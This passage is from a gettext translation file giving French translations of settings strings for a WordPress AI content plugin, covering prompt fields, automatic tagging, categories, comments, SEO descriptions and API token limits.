post_data, vous devez utiliser ce " "shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être " "supérieure au nombre maximum de jetons défini dans les paramètres de la " "commande du Pompt - Mise à jour : les shortcodes imbriqués sont également " "pris en charge (shortcodes générés par des règles provenant d'autres " "plugins). Si vous utilisez des images libres de droits comme source, vous " "pouvez également définir leurs mots-clés ici, si aucun mot-clé n'est défini, " "ils seront générés automatiquement." #: res/aiomatic-spinner-list.php:964 msgid "Prompt To Send To The AI Image Generator:" msgstr "Prompt à envoyer au générateur d'images IA :" #: res/aiomatic-spinner-list.php:977 msgid "Set the size of the generated featured image." msgstr "Définir la taille de l'image vedette générée." #: res/aiomatic-spinner-list.php:981 msgid "Generated Featured Image Size:" msgstr "Taille de l'image en vedette générée par l'IA :" #: res/aiomatic-spinner-list.php:1004 msgid "AI Content Completition Options:" msgstr "Options de complétition de contenu IA :" #: res/aiomatic-spinner-list.php:1010 msgid "" "The plugin will generate AI content, that will be preppended or appended to " "each post's content." msgstr "" "Le plugin génère du contenu IA, qui sera ajouté au contenu de chaque article." #: res/aiomatic-spinner-list.php:1014 msgid "Add AI Generated Content:" msgstr "Ajouter du contenu généré par l'IA :" #: res/aiomatic-spinner-list.php:1023 msgid "Append To The End" msgstr "Ajouter à la fin" #: res/aiomatic-spinner-list.php:1028 msgid "Preppend To The Beginning" msgstr "Reprendre au début" #: res/aiomatic-spinner-list.php:1042 #, php-format msgid "" "Set an prompt command you want to send to the AI text generator. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "Définissez une commande rapide que vous souhaitez envoyer au générateur de " "texte IA. Cette commande peut être n'importe quelle tâche ou ordre donné, " "sur la base duquel l'IA générera du contenu pour les articles. Vous pouvez " "utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez " "également utiliser les champs personnalisés (post meta) qui sont assignés " "aux articles à l'aide de shortcodes personnalisés dans ce format : %%!" "custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données " "importées du champ personnalisé post_data, vous devez utiliser ce " "shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être " "supérieure au nombre maximum de jetons défini dans les paramètres de la " "commande du Pompt - Mise à jour : les shortcodes imbriqués sont également " "pris en charge (shortcodes générés par des règles provenant d'autres " "plugins)." #: res/aiomatic-spinner-list.php:1046 msgid "Prompt For The AI Text Generator:" msgstr "Prompt pour le générateur de texte IA :" #: res/aiomatic-spinner-list.php:1059 #, php-format msgid "" "Select the minimum number of characters that the content additional content " "should have. If the API returns content which has fewer characters than this " "number, another API call will be made, until this character limit is met. " "Please check about API rate limiting here." msgstr "" "Sélectionnez le nombre minimum de caractères que le contenu supplémentaire " "doit comporter. Si l'API renvoie un contenu contenant moins de caractères " "que ce nombre, un autre appel à l'API sera effectué, jusqu'à ce que cette " "limite de caractères soit atteinte. Pour en savoir plus sur la limitation du " "nombre de caractères par l'API, cliquez ici." #: res/aiomatic-spinner-list.php:1063 msgid "Created Content Minimum Character Count:" msgstr "Nombre minimal de caractères du contenu créé :" #: res/aiomatic-spinner-list.php:1070 msgid "Rich Content Creation Options:" msgstr "Options de création de contenu enrichi :" #: res/aiomatic-spinner-list.php:1122 #, php-format msgid "" "Set the prompt you will use when searching for related headings. You can use " "the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same " "model will be used, as the one selected for content creation. If you leave " "this field blank, the default prompt will be used: 'Write " "%%needed_heading_count%% PAA related questions, each on a new line, for the " "title: %%post_title%%'" msgstr "" "Définissez le Prompt que vous utiliserez lors de la recherche de rubriques " "connexes. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, " "%%needed_heading_count%%. Le modèle utilisé sera le même que celui " "sélectionné pour la création du contenu. Si vous laissez ce champ vide, le " "Prompt par défaut sera utilisée : rédigez %%nombre_d'en-têtes_nécessaires%% " "questions relatives à l'AAP, chacune sur une nouvelle ligne, pour le titre : " "%%titre_du_poste%%\"" #: res/aiomatic-spinner-list.php:1126 msgid "Prompt For The AI Related Headings Generator:" msgstr "Prompt pour le générateur de rubriques liées à l’IA :" #: res/aiomatic-spinner-list.php:1138 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the 'Royalty Free Image' settings from the plugin's " "'Main Settings' menu.'" msgstr "" "Définissez le nombre maximum d'images connexes à ajouter au contenu de " "l'article créé. Cette fonctionnalité utilisera les paramètres 'Royalty Free " "Image' dans le menu 'Paramètres principaux' du plugin.'" #: res/aiomatic-spinner-list.php:1154 msgid "" "Do you want to replace the royalty free image with an AI generated image?" msgstr "" "Voulez-vous remplacer l'image libre de droits par une image générée par " "l'IA ?" #: res/aiomatic-spinner-list.php:1203 msgid "Post Content Automatic Linking Options:" msgstr "Options de liens automatiques pour le contenu des messages :" #: res/aiomatic-spinner-list.php:1209 msgid "" "The plugin will automatically add automatic links to other posts from your " "site, to keywords from each post." msgstr "" "Le plugin ajoutera automatiquement des liens vers d'autres articles de votre " "site, en fonction des mots-clés de chaque article." #: res/aiomatic-spinner-list.php:1213 msgid "Automatically Add Links To Posts:" msgstr "Ajouter automatiquement des Liens aux articles :" #: res/aiomatic-spinner-list.php:1237 msgid "" "Set the maximum number of automatic links to add to created posts. You can " "also define custom ranges, like: 3-5. Please note that this feature will " "work best if you already have a considerable number of posts published on " "your site, which will be used for internal linking. The default value for " "this settings field is 3-5" msgstr "" "Définissez le nombre maximum de liens automatiques à ajouter aux articles " "créés. Vous pouvez également définir des plages personnalisées, comme : 3-5. " "Veuillez noter que cette fonctionnalité fonctionnera mieux si vous avez déjà " "un nombre considérable d'articles publiés sur votre site, qui seront " "utilisés pour les liens internes. La valeur par défaut de ce champ est 3-5" #: res/aiomatic-spinner-list.php:1303 msgid "Post Types Where To Generate Inboud Links:" msgstr "Types de messages pour générer des liens entrants :" #: res/aiomatic-spinner-list.php:1310 msgid "Post Automatic Categories Options:" msgstr "Options de catégories automatiques pour les messages :" #: res/aiomatic-spinner-list.php:1317 msgid "The plugin will automatically add categories to posts from your site." msgstr "" "Le plugin ajoutera automatiquement des catégories aux articles de votre site." #: res/aiomatic-spinner-list.php:1321 msgid "Automatically Add Categories To Posts:" msgstr "Ajouter automatiquement des catégories aux articles :" #: res/aiomatic-spinner-list.php:1345 msgid "" "Maximum number of categories to add. You can also use value ranges, like: " "3-5. The default value is 1-2" msgstr "" "Nombre maximum de catégories à ajouter. Vous pouvez également utiliser des " "fourchettes de valeurs, comme par exemple : 3-5. La valeur par défaut est 1-2" #: res/aiomatic-spinner-list.php:1349 msgid "Maximum Number Of Categories To Add To The Post:" msgstr "Nombre maximum de catégories à ajouter à l'article :" #: res/aiomatic-spinner-list.php:1377 #, php-format msgid "" "Set an prompt command you want to send to the AI category generator. This " "command can be any given task or order, based on which, it will generate " "categories for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "Définissez une commande rapide que vous souhaitez envoyer au générateur de " "catégories de l'IA. Cette commande peut être n'importe quelle tâche ou ordre " "donné, sur la base duquel l'IA générera des catégories pour les articles. " "Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Vous pouvez également utiliser les champs " "personnalisés (post meta) qui sont assignés aux articles à l'aide de " "shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : " "si vous souhaitez ajouter des données importées du champ personnalisé " "post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur " "de cette commande ne doit pas être supérieure au nombre maximum de jetons " "défini dans les paramètres de la commande d'invite - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins)." #: res/aiomatic-spinner-list.php:1381 msgid "Prompt For The AI Category Generator:" msgstr "Prompt pour le générateur de catégories d'IA :" #: res/aiomatic-spinner-list.php:1396 msgid "Select the AI Model to be used for categories generator." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour le générateur de catégories." #: res/aiomatic-spinner-list.php:1400 msgid "AI Model For The Categories Generator:" msgstr "Modèle d'IA pour le générateur de catégories :" #: res/aiomatic-spinner-list.php:1419 msgid "Post Automatic Tags Options:" msgstr "Options de balises/Tags automatiques pour les messages :" #: res/aiomatic-spinner-list.php:1426 msgid "The plugin will automatically add tags to posts from your site." msgstr "" "Le plugin ajoutera automatiquement des balises aux articles de votre site." #: res/aiomatic-spinner-list.php:1430 msgid "Automatically Add Tags To Posts:" msgstr "Ajoutez automatiquement des balises/Tags aux articles :" #: res/aiomatic-spinner-list.php:1454 msgid "" "Maximum number of tags to add. You can also use value ranges, like: 3-5. The " "default value is 1-2" msgstr "" "Nombre maximum de balises/Tags à ajouter. Vous pouvez également utiliser des " "plages de valeurs, comme par exemple : 3-5. La valeur par défaut est 1-2" #: res/aiomatic-spinner-list.php:1458 msgid "Maximum Number Of Tags To Add To The Post:" msgstr "Nombre maximum de balises/Tags à ajouter à l'article :" #: res/aiomatic-spinner-list.php:1469 msgid "" "This option will make the plugin not create tags which are not already " "existing on your site. For best results in this case, be sure to add to the " "prompt the list of tags from where the AI should select." msgstr "" "Cette option permet au plugin de ne pas créer de balises/Tags qui n'existent " "pas déjà sur votre site. Pour de meilleurs résultats dans ce cas, assurez-" "vous d'ajouter à le Prompt la liste des balises à partir desquelles l'IA " "doit sélectionner." #: res/aiomatic-spinner-list.php:1473 msgid "Do Not Add Inexisting Tags:" msgstr "Ne pas ajouter de balises/Tags inexistantes :" #: res/aiomatic-spinner-list.php:1486 #, php-format msgid "" "Set an prompt command you want to send to the AI tag generator. This command " "can be any given task or order, based on which, it will generate tags for " "posts. You can use the following shortcodes here: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. Example: if you wish to add data that is imported from " "the custom field post_data, you should use this shortcode: %%!post_data!%%. " "The length of this command should not be greater than the max token count " "set in the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" "Définissez une commande rapide que vous souhaitez envoyer au générateur de " "tags AI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur " "la base duquel il générera des balises pour les messages. Vous pouvez " "utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez " "également utiliser les champs personnalisés (post meta) qui sont assignés " "aux articles à l'aide de shortcodes personnalisés dans ce format : %%!" "custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données " "importées du champ personnalisé post_data, vous devez utiliser ce " "shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être " "supérieure au nombre maximum de jetons défini dans les paramètres de la " "commande d'invite - Mise à jour : les shortcodes imbriqués sont également " "pris en charge (shortcodes générés par des règles provenant d'autres " "plugins)." #: res/aiomatic-spinner-list.php:1490 msgid "Prompt For The AI Tags Generator:" msgstr "Prompt pour le générateur de balises/Tags AI :" #: res/aiomatic-spinner-list.php:1505 msgid "Select the AI Model to be used for tags generator." msgstr "Sélectionnez le modèle d'IA à utiliser pour le générateur de balises." #: res/aiomatic-spinner-list.php:1509 msgid "AI Model For The Tags Generator:" msgstr "Modèle d'IA pour le générateur de balises/Tags :" #: res/aiomatic-spinner-list.php:1528 msgid "Post Automatic Commenting Options:" msgstr "Options de commentaires automatiques sur les messages :" #: res/aiomatic-spinner-list.php:1534 msgid "The plugin will automatically add comments to posts from your site." msgstr "" "Le plugin ajoutera automatiquement des commentaires aux articles de votre " "site." #: res/aiomatic-spinner-list.php:1538 msgid "Automatically Add Comments To Posts:" msgstr "Ajouter automatiquement des commentaires aux articles :" #: res/aiomatic-spinner-list.php:1562 msgid "" "Maximum number of comments to add. You can also use value ranges, like: 3-5. " "The default value is 1-2" msgstr "" "Nombre maximum de commentaires à ajouter. Vous pouvez également utiliser des " "fourchettes de valeurs, comme par exemple : 3-5. La valeur par défaut est 1-2" #: res/aiomatic-spinner-list.php:1566 msgid "Maximum Number Of Comments To Add To The Post:" msgstr "Nombre maximum de commentaires à ajouter à l'article :" #: res/aiomatic-spinner-list.php:1577 #, php-format msgid "" "Set an prompt command you want to send to the AI comment generator. This " "command can be any given task or order, based on which, it will generate " "comments for posts. You can use the following shortcodes here: " "%%previous_comments%%, %%post_title%%, %%comment_author_name%%, " "%%comment_author_email%%, %%comment_author_url%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins)." msgstr "" "Définissez une commande rapide que vous souhaitez envoyer au générateur de " "commentaires de l'IA. Cette commande peut être n'importe quelle tâche ou " "ordre donné, sur la base duquel l'IA générera des commentaires pour les " "articles. Vous pouvez utiliser les shortcodes suivants : " "%%previous_comments%%, %%post_title%%, %%comment_author_name%%, " "%%comment_author_email%%, %%comment_author_url%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez " "également utiliser les champs personnalisés (post meta) qui sont assignés " "aux articles à l'aide de shortcodes personnalisés dans ce format : %%!" "custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données " "importées du champ personnalisé post_data, vous devez utiliser ce " "shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être " "supérieure au nombre maximum de jetons défini dans les paramètres de la " "commande du Pompt - Mise à jour : les shortcodes imbriqués sont également " "pris en charge (shortcodes générés par des règles provenant d'autres " "plugins)." #: res/aiomatic-spinner-list.php:1581 msgid "Prompt For The AI Comment Generator:" msgstr "Prompt pour le générateur de commentaires de l'IA :" #: res/aiomatic-spinner-list.php:1596 #, php-format msgid "" "Maximum number of comments to add to the %%previous_comments%% shortcode, " "The default value is 5" msgstr "" "Nombre maximum de commentaires à ajouter au shortcode %%previous_comments%%, " "La valeur par défaut est 5" #: res/aiomatic-spinner-list.php:1600 #, php-format msgid "%%previous_comments%% Shortcode Comment Count:" msgstr "%%previous_comments%% Shortcode Nombre de commentaires :" #: res/aiomatic-spinner-list.php:1612 res/aiomatic-spinner-list.php:1749 msgid "Select the AI Model to be used for comments generator." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour le générateur de commentaires." #: res/aiomatic-spinner-list.php:1616 res/aiomatic-spinner-list.php:1753 msgid "AI Model For The Comments Generator:" msgstr "Modèle d'IA pour le générateur de commentaires :" #: res/aiomatic-spinner-list.php:1640 #, php-format msgid "" "Input a list of user names that the plugin will use when submitting " "comments. One per line. If you leave this field empty, a random name will be " "generated. Possible shortcode that can be used here: %%random_user%%, " "%%author_name%%, %%random_sentence%%, %%random_sentence2%%" msgstr "" "Entrez une liste de noms d'utilisateurs que le plugin utilisera pour " "soumettre des commentaires. Un par ligne. Si vous laissez ce champ vide, un " "nom aléatoire sera généré. Les shortcodes possibles peuvent être utilisés " "ici : %%random_user%%, %%author_name%%, %%random_sentence%%, " "%%random_sentence2%%" #: res/aiomatic-spinner-list.php:1644 msgid "Comment User Name List:" msgstr "Liste des noms d'utilisateurs des commentaires :" #: res/aiomatic-spinner-list.php:1661 #, php-format msgid "" "Input a list of e-mails that the plugin will use when submitting comments. " "One per line. If you leave this field empty, a random email will be " "generated. Possible shortcode that can be used here: %%random_sentence%%, " "%%random_sentence2%%" msgstr "" "Entrez une liste d'e-mails que le plugin utilisera lors de la soumission de " "commentaires. Un par ligne. Si vous laissez ce champ vide, un e-mail " "aléatoire sera généré. Les shortcodes possibles peuvent être utilisés ici : " "%%random_sentence%%, %%random_sentence2%%" #: res/aiomatic-spinner-list.php:1665 msgid "Comment E-mail List:" msgstr "Liste des E-mails pour les commentaires :" #: res/aiomatic-spinner-list.php:1682 #, php-format msgid "" "Input a list of URLs that the plugin will use when submitting comments. One " "per line. Possible shortcode that can be used here: %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%" msgstr "" "Entrez une liste d'URLs que le plugin utilisera lors de la soumission de " "commentaires. Une par ligne. Les shortcodes possibles qui peuvent être " "utilisés ici : %%post_link%%, %%random_sentence%%, %%random_sentence2%%" #: res/aiomatic-spinner-list.php:1686 msgid "Comment URL List:" msgstr "Liste des URL des commentaires :" #: res/aiomatic-spinner-list.php:1698 msgid "SEO Meta Description Options:" msgstr "Options de méta-description SEO :" #: res/aiomatic-spinner-list.php:1704 msgid "" "The plugin will automatically add AI generated SEO meta descriptions to " "posts from your site." msgstr "" "Le plugin ajoutera automatiquement des méta-descriptions SEO générées par " "l'IA aux articles de votre site." #: res/aiomatic-spinner-list.php:1708 msgid "Automatically Add AI Generated SEO Description To Posts:" msgstr "" "Ajouter automatiquement aux articles une description SEO générée par l'IA :" #: res/aiomatic-spinner-list.php:1731 #, php-format msgid "" "Set an prompt command you want to send to the AI SEO meta description " "generator. This command can be any given task or order, based on which, it " "will generate comments for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). The default value is: Write a SEO meta description for the post " "title: %%post_title%%" msgstr "" "Définissez une commande rapide que vous souhaitez envoyer au générateur de " "méta description AI SEO. Cette commande peut être n'importe quelle tâche ou " "ordre donné, sur la base duquel il générera des commentaires pour les " "articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Vous pouvez également utiliser des champs " "personnalisés (post meta) qui sont assignés aux articles en utilisant des " "shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : " "si vous souhaitez ajouter des données importées du champ personnalisé " "post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur " "de cette commande ne doit pas être supérieure au nombre maximum de jetons " "défini dans les paramètres de la commande du Pompt - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins). La valeur par défaut est : Écrire " "une méta-description SEO pour le titre de l'article : %%post_title%%" #: res/aiomatic-spinner-list.php:1735 msgid "Prompt For The AI SEO Meta Description Generator:" msgstr "" "Prompt pour l'IA SEO Meta Description Generator (Prompt pour le générateur " "de méta-descriptions IA SEO) :" #: res/aiomatic-spinner-list.php:1772 msgid "Extra Features:" msgstr "Caractéristiques supplémentaires :" #: res/aiomatic-spinner-list.php:1780 msgid "Select if you want to change post status after editing posts." msgstr "" "Sélectionnez si vous souhaitez modifier le statut des messages après leur " "modification." #: res/aiomatic-spinner-list.php:1784 msgid "Change Post Status After Editing:" msgstr "Modifier le statut de l'article après l'avoir modifié :" #: res/aiomatic-spinner-list.php:1796 msgid "No Change" msgstr "Aucun changement" #: res/aiomatic-spinner-list.php:1835 msgid "Editing API Settings:" msgstr "Modification des paramètres de l'API :" #: res/aiomatic-spinner-list.php:1841 msgid "Select the AI Model you want to use." msgstr "Sélectionnez le modèle d'IA que vous souhaitez utiliser." #: res/aiomatic-spinner-list.php:1845 msgid "AI Model To Use:" msgstr "Modèle d’IA à utiliser :" #: res/aiomatic-spinner-list.php:1868 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. The maximum " "amount which can be set it 4000." msgstr "" "Définissez le nombre maximum de jetons d'API à utiliser pour chaque demande. " "Cela définira la longueur de la réponse de l'API qui en résultera. Chaque " "jeton se compose généralement d'environ 4 caractères. Notez que le nombre de " "jetons envoyés à l'API en tant qu'invite d'article est également pris en " "compte dans cette valeur. Le nombre maximum de jetons pouvant être défini " "est de 4000." #: res/aiomatic-spinner-list.php:1881 msgid "" "Set the maximum number of prompt API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 1000." msgstr "" "Définir le nombre maximum de jetons d'API à utiliser pour chaque demande. " "Cela définira la longueur de la réponse API résultante. Chaque jeton se " "compose généralement d'environ 4 caractères. Ceci définit la quantité de " "contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit " "plus de données initiales, les résultats seront de meilleure qualité. La " "quantité maximale pouvant être définie est de 1000." #: res/aiomatic-spinner-list.php:1894 msgid "" "Set the maximum number of result API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 2048." msgstr "" "Définissez le nombre maximum de jetons de résultat de l'API à utiliser pour " "chaque demande. Cela définira la longueur de la réponse de l'API qui en " "résultera. Chaque jeton se compose généralement d'environ 4 caractères. Ceci " "définit la quantité de contenu que l'API reçoit chaque fois que vous " "l'appelez. Si l'API reçoit plus de données initiales, les résultats seront " "de meilleure qualité. La quantité maximale pouvant être définie est de 2048." #: res/aiomatic-spinner-list.php:1898 msgid "Maximum Result Token Count To Use Per API Request:" msgstr "Nombre maximum de jetons de résultat à utiliser par requête API :" #: res/aiomatic-spinner-list.php:1907 msgid "" "Set the maximum number of continue API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 2048." msgstr "" "Définissez le nombre maximum de jetons API continus à utiliser pour chaque " "demande. Cela définira la longueur de la réponse de l'API qui en résultera. " "Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la " "quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si " "l'API reçoit plus de données initiales, les résultats seront de meilleure " "qualité. La quantité maximale pouvant être définie est de 2048." #: res/aiomatic-spinner-list.php:1916 msgid "Advanced API Settings:" msgstr "Paramètres avancés de l’API :" #: res/aiomatic-spinner-list.php:1927 msgid "AI Content Writer Temperature:" msgstr "Rédacteur Température de contenu IA :" #: res/aiomatic-spinner-list.php:1940 msgid "AI Content Writer Top_p:" msgstr "Éditeur de contenu IA Top_p :" #: res/aiomatic-spinner-list.php:1977 msgid "Enabled Posts Automatic Editing:" msgstr "Activé Automatiquement l'Edition des Articles :" #: res/aiomatic-spinner-list.php:1981 msgid "" "Enable or disable automatic post modifications every time you publish a new " "post (manually or automatically)." msgstr "" "Activer ou désactiver la modification automatique des messages à chaque fois " "que vous publiez un nouveau message (manuellement ou automatiquement)." #: res/aiomatic-spinner-list.php:2001 msgid "" "INFO: You can change the way the posts are edited by changing settings in " "the 'Editing Templates and Options' tab from above!" msgstr "" "INFO : Vous pouvez modifier la façon dont les messages sont édités en " "changeant les paramètres dans l'onglet \"Modèles d'édition et options\" ci-" "dessus !" #: res/aiomatic-spinner-list.php:2005 msgid "Posts Automatic Editing Filtering:" msgstr "Filtrage automatique des Articles publiés à modifier :" #: res/aiomatic-spinner-list.php:2012 msgid "Select when do you want to automatically process posts." msgstr "" "Sélectionnez le moment où vous souhaitez traiter automatiquement les " "messages." #: res/aiomatic-spinner-list.php:2016 msgid "Automatically Process Posts When They Are:" msgstr "Traiter automatiquement les messages lorsqu'ils sont :" #: res/aiomatic-spinner-list.php:2029 msgid "Drafted" msgstr "Rédigé" #: res/aiomatic-spinner-list.php:2041 msgid "" "Do you want delay automatic editing of the posted article with this amount " "of seconds from post publish? This will create a single cron job for each " "post (cron is a requirement for this to function). If you leave this field " "blank, posts will be automatically spun on post publish." msgstr "" "Souhaitez-vous retarder l'édition automatique de l'article posté de ce " "nombre de secondes à partir de la publication de l'article ? Cela créera une " "tâche cron unique pour chaque article (cron est nécessaire pour que cela " "fonctionne). Si vous laissez ce champ vide, les articles seront " "automatiquement filés lors de leur publication." #: res/aiomatic-spinner-list.php:2045 msgid "Delay Article Editing By (Seconds):" msgstr "Retarder l'édition de l'article de (secondes) :" #: res/aiomatic-spinner-list.php:2054 msgid "" "This option will allow you to select if you want to run posting in async " "mode. This means that each time you publish a post, the plugin will try to " "execute it's task in the background - it will no longer block new post " "posting, while it finishes it's job." msgstr "" "Cette option vous permet de sélectionner si vous souhaitez exécuter la " "publication en mode asynchrone. Cela signifie qu'à chaque fois que vous " "publiez un article, le plugin essaiera d'exécuter sa tâche en arrière-plan - " "il ne bloquera plus la publication de nouveaux articles, pendant qu'il " "termine son travail." #: res/aiomatic-spinner-list.php:2058 msgid "Use Async Posting Method:" msgstr "Utilisez la méthode de publication asynchrone :" #: res/aiomatic-spinner-list.php:2070 msgid "Do you want to disable automatically editing of WordPress 'posts'?" msgstr "" "Voulez-vous désactiver l’édition automatique des « Articles » WordPress ?" #: res/aiomatic-spinner-list.php:2074 msgid "Disable Editing of 'Posts':" msgstr "Désactiver l’édition des 'Articles' :" #: res/aiomatic-spinner-list.php:2086 msgid "Do you want to disable automatically editing of WordPress 'pages'?" msgstr "" "Voulez-vous désactiver l'édition automatique des \"pages\" de WordPress ?" #: res/aiomatic-spinner-list.php:2090 msgid "Disable Editing of 'Pages':" msgstr "Désactiver l’édition des 'Pages' :" #: res/aiomatic-spinner-list.php:2102 msgid "" "Do you want to disable automatically editing of WordPress 'custom post " "types'?" msgstr "" "Voulez-vous désactiver l'édition automatique des \"custom post types\" de " "WordPress ?" #: res/aiomatic-spinner-list.php:2106 msgid "Disable Editing of 'Custom Post Types':" msgstr "Désactiver l’édition des 'Types de publication personnalisés' :" #: res/aiomatic-spinner-list.php:2118 msgid "" "If you checked the above checkbox to disable processing of custom post " "types, you can define here a comma separated list of posts types which " "should still be process (excepted from skipping)." msgstr "" "Si vous avez coché la case ci-dessus pour désactiver le traitement des types " "de posts personnalisés, vous pouvez définir ici une liste séparée par des " "virgules des types de posts qui doivent encore être traités (qui ne doivent " "pas être ignorés)." #: res/aiomatic-spinner-list.php:2122 msgid "Excepting This Comma Separated List Of Custom Post Types:" msgstr "" "À l'exception de cette liste de types d'articles personnalisés séparés par " "des virgules :" #: res/aiomatic-spinner-list.php:2131 msgid "Do you want to disable automatically editing of WordPress categories?" msgstr "" "Voulez-vous désactiver l'édition automatique des catégories WordPress ?" #: res/aiomatic-spinner-list.php:2135 msgid "Disable Editing of Selected Categories:" msgstr "Désactiver la modification des catégories sélectionnées :" #: res/aiomatic-spinner-list.php:2136 msgid "Show/Hide Categories List" msgstr "Afficher/masquer la liste des catégories" #: res/aiomatic-spinner-list.php:2175 msgid "" "Input the tags for which you want to disable editing. You can enter more " "tags, separated by comma. Ex: cars, vehicles, red, luxury. To disable this " "feature, leave this field blank." msgstr "" "Saisissez les balises pour lesquelles vous souhaitez désactiver l'édition. " "Vous pouvez saisir plusieurs balises, séparées par une virgule. Ex : " "voitures, véhicules, rouge, luxe. Pour désactiver cette fonctionnalité, " "laissez ce champ vide." #: res/aiomatic-spinner-list.php:2179 msgid "Disable Editing of Selected Tags:" msgstr "Désactiver l'édition des balises sélectionnées :" #: 